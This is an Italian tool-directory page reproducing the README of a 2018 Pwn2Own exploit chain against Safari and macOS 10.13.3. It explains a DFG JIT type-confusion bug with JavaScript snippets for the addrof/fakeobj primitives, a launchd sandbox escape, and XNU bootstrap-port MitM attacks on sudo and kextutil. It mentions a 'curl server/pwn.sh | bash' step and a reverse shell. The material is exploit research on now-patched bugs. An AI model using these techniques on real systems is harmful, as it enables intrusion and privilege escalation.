Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pwn2own2018 — A Pwn2Own exploit chain | Kitploit
Strumenti/GitHubGitHub/saelo/pwn2own2018
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own exploit chain

Vedi Repository
7591127 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pwn2Own 2018: Safari + macOS

RCE su Safari, sandbox escape e LPE fino al kernel per macOS 10.13.3.

Utilizzo

Installa nasm e tornado:

root@kitploit:~
brew install nasm
pip3 install tornado

Controlla config.py se vuoi cambiare l'host o le porte. Successivamente avvia il server con ./server.py e naviga all'URL mostrato.

Panoramica

Questa catena di exploit utilizza tre bug diversi per passare dal codice JavaScript in esecuzione all'interno di Safari all'esecuzione di codice in modalità kernel:

  1. Un'ottimizzazione errata nel compilatore JIT DFG che può essere utilizzata per causare una type confusion
  2. Controlli sandbox mancanti in launchd, che consentono a processi in sandbox di generare processi arbitrari (non in sandbox)
  3. Un bug logico in XNU, che consente a un processo di sovrascrivere la bootstrap port dei propri processi figli, portando a una situazione di MitM IPC

La catena di exploit è implementata in sei fasi, ciascuna situata nella propria sottodirectory:

  • stage0/: l'exploit WebKit
  • stage1/: la payload della prima fase scritta in assembly
  • stage2/: la payload della seconda fase per eseguire la sandbox escape
  • stage3/: script shell per coordinare le fasi rimanenti
  • stage4/: un LPE per ottenere root
  • stage5/: un LPE per ottenere l'esecuzione di codice nel kernel
  • libspc/: reimplementazione del protocollo XPC, utilizzata dalle fasi 2, 4 e 5

Ogni sottodirectory (ad eccezione di libspc/) contiene un file chiamato make.py che, quando eseguito, esegue qualsiasi tipo di comando di build necessario e crea un elenco di file da servire tramite il webserver.

Fase 0

Obiettivo: ottenere l'esecuzione di shellcode all'interno del processo WebContent in sandbox
Bug sfruttato: ottimizzazione errata nel compilatore JIT DFG
Vedi anche questa presentazione BlackHat

Il compilatore JIT DFG rappresenta il codice JavaScript nella propria rappresentazione intermedia (IR), il Data Flow Graph (DFG). Tipicamente, un'espressione JavaScript viene tradotta in una o più istruzioni IR in questo grafo. Nel caso di una funzione costruttore, l'istruzione CreateThis viene emessa ed è responsabile dell'allocazione dell'oggetto this costruito dalla funzione. Ad esempio, la funzione function Consructor() {}, quando chiamata con new, verrebbe tradotta approssimativamente in

root@kitploit:~
v0 = CreateThis
return v0

Osservando l'AbstractInterpreter, possiamo vedere che il compilatore JIT DFG presuppone che l'operazione CreateThis non comporti effetti collaterali oltre a un'allocazione di heap. Infatti, questo codice:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

verrà tradotto approssimativamente nelle seguenti istruzioni DFG: (Qui, la StructureCheck è stata spostata all'inizio della funzione dalla TypeCheckHoistingPhase).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Tuttavia, questa ipotesi non è valida, poiché il codice slow-path per CreateThis può eseguire codice JavaScript arbitrario in alcuni casi. In particolare, utilizzando una Proxy attorno alla funzione reale, la trap get per la proprietà "prototype" verrà chiamata durante il gestore slow-path per CreateThis, poiché deve recuperare l'oggetto prototype per l'oggetto costruito:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

In questo modo, ora è possibile modificare la Structure di un oggetto senza che il compilatore JIT esegua un bailout.

Questo bug può essere utilizzato per costruire le primitive addrof e fakeobj come segue:

addrof

Compiliamo il codice per il caso di una JSArray con elementi double unboxed, poi, nella callback, passiamo a elementi JSValue. Successivamente, il codice JIT caricherà una JSValue dall'array, ma tratterà quei bit come un double e li restituirà a noi. Il seguente codice assegnerà l'indirizzo di leakme alla proprietà "address" dell'oggetto costruito.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Qui essenzialmente facciamo il contrario: ottimizziamo il codice per memorizzare un double in un array con elementi double unboxed, poi passiamo nuovamente a elementi JSValue nella callback. Il codice continuerà a scrivere il nostro double controllato in forma unboxed nello storage di supporto. Quando successivamente accediamo a quell'elemento dell'array, tratterà quei bit come una JSValue invece di un double. Il seguente codice scriverà il double unboxed address nel buffer di supporto di a, che possiamo poi leggere come JSValue, consentendoci di "iniettare" JSValue di nostra scelta nel motore.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

In questo modo otteniamo la capacità di scrivere un double e trattarlo come puntatore a JSObject e viceversa. Questo può essere sfruttato come descritto in attacking javascript engines.

L'exploit ottiene prima la lettura/scrittura arbitraria della memoria di processo falsificando una Float64Array, poi cerca la regione JIT (mappata RWX) e scrive lì la shellcode della fase 1.

Fase 1

Obiettivo: avviare la fase 2 scrivendo una .dylib su disco e caricandola tramite dlopen()

Una breve payload in assembly che essenzialmente fa quanto segue:

  1. Chiamare confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) per ottenere un percorso verso una directory scrivibile
  2. Creare un nuovo file chiamato 'x.dylib' nella directory scrivibile
  3. Scrivere la dylib della fase 2 nel file appena creato
  4. Caricare la dylib nel processo WebContent tramite dlopen()

Fase 2

Obiettivo: uscire dalla sandbox
Bug sfruttato: controlli sandbox mancanti nell'API "legacy_spawn" di launchd
Vedi anche questa presentazione

Launchd espone l'endpoint RPC "legacy_spawn" come routine 817 nel sottosistema 3. Questa API non valida se al chiamante dovrebbe essere consentito di generare processi e semplicemente esegue execve di qualsiasi binario sul sistema per conto del chiamante con argomenti controllati. Poiché launchd è raggiungibile tramite la bootstrap port, ciò rende possibile uscire dalla sandbox.

L'exploit essenzialmente esegue curl server/pwn.sh | bash e quindi passa il controllo alla fase 3.

Fase 3

Obiettivo: aprire la calcolatrice e avviare le fasi rimanenti

Questo esegue open /Applications/Calculator.app e stabilisce una reverse shell, poi recupera tutti i file necessari per le fasi rimanenti ed esegue gli exploit.

Fase 4

Obiettivo: ottenere root tramite un exploit LPE
Bug sfruttato: MitM sulla bootstrap port di XNU
Vedi anche questa presentazione POC

In XNU, l'API task_set_special_port consente ai chiamanti di sovrascrivere la propria bootstrap port, utilizzata per comunicare con launchd. Questa porta viene ereditata attraverso le fork: i processi figli utilizzeranno la stessa bootstrap port del genitore. Sorge ora un problema di sicurezza se il processo figlio è più privilegiato del genitore, come nel caso ad esempio di sudo (un binario setuid) o kextutil (che possiede l'entitlement "com.apple.rootless.kext-management"). Sovrascrivendo la bootstrap port ed eseguendo una fork di un processo figlio, possiamo ora ottenere una posizione MitM tra il nostro figlio e launchd (che il nostro figlio si aspetta di raggiungere quando invia messaggi alla bootstrap port). Il processo figlio chiederà a launchd di risolvere vari servizi mach e XPC. Risolvendo questi servizi verso altre porte controllate da noi, possiamo anche ottenere una posizione MitM con servizi di sistema arbitrari utilizzati dal nostro processo figlio. Lo sfruttamento dipende quindi da come quei servizi vengono utilizzati dal programma attaccato.

Per ottenere root prendiamo di mira il binario sudo e intercettiamo la sua comunicazione con opendirectoryd, che viene utilizzato da sudo per verificare le credenziali. Modifichiamo le risposte da opendirectoryd per far sembrare che la nostra password fosse valida.

Sembra che ci sia stato un tentativo di correggere questo problema, poiché libxpc (che esegue la comunicazione con launchd) verifica che le risposte provengano effettivamente da un processo con uid=0 e pid=1 (== launchd). Tuttavia, questi controlli sono insufficienti. Possiamo aggirarli come segue per risolvere opendirectoryd verso la nostra porta:

  1. Registrare il nostro servizio mach (ad es. net.saelo.hax) con launchd utilizzando l'API bootstrap_register2
  2. Intercettare la richiesta di lookup del servizio a launchd e sostituire la stringa com.apple.system.opendirectoryd.api con net.saelo.hax
  3. Inoltrare la richiesta a launchd, ma lasciare la porta di risposta originale al suo posto, così launchd risponde direttamente al processo figlio e i controlli in libxpc nel nostro figlio hanno successo

Tutto ciò che rimane ora (per un'elevazione di privilegi a root) è inoltrare i messaggi tra opendirectoryd e sudo, ma sostituire la risposta di errore di autenticazione con una risposta di successo.

Fase 5

Obiettivo: caricare un'estensione del kernel (auto-firmata)
Bug sfruttato: MitM sulla bootstrap port di XNU

Questo sfrutta la stessa falla della fase 4, ma questa volta prendendo di mira kextutil. Intercettiamo la connessione a com.apple.trustd e falsifichiamo la catena di certificati, facendo credere a kextutil che il nostro kext auto-firmato sia in realtà firmato direttamente da Apple.

kextutil procede approssimativamente come segue quando gli viene chiesto di caricare un .kext dal disco:

  1. Verificare l'integrità del .kext controllando tutte le firme rispetto al certificato fornito
  2. Comunicare con trustd per ottenere la catena di certificati e stabilire se il certificato root è attendibile
  3. Verificare che la radice della catena di certificati sia un certificato Apple
  4. Controllare se il .kext è approvato dall'utente comunicando con syspolicyd. Tuttavia, se syspolicyd non è raggiungibile, kextutil procede semplicemente

Ciò consente il seguente attacco per caricare estensioni del kernel auto-firmate:

  1. Creare un .kext e firmarlo con un certificato auto-firmato
  2. Eseguire kextutil e risolvere com.apple.trustd verso il nostro servizio
  3. Intercettare i messaggi a trustd e rispondere con una catena di certificati hardcoded di un .kext Apple ufficiale
  4. Bloccare la comunicazione con syspolicyd (ad es. sostituendo com.apple.security.syspolicy.kext con net.saelo.lolno nelle richieste di lookup del servizio a launchd)

kextutil caricherà ora la nostra estensione del kernel nel kernel.

Scarica lo strumento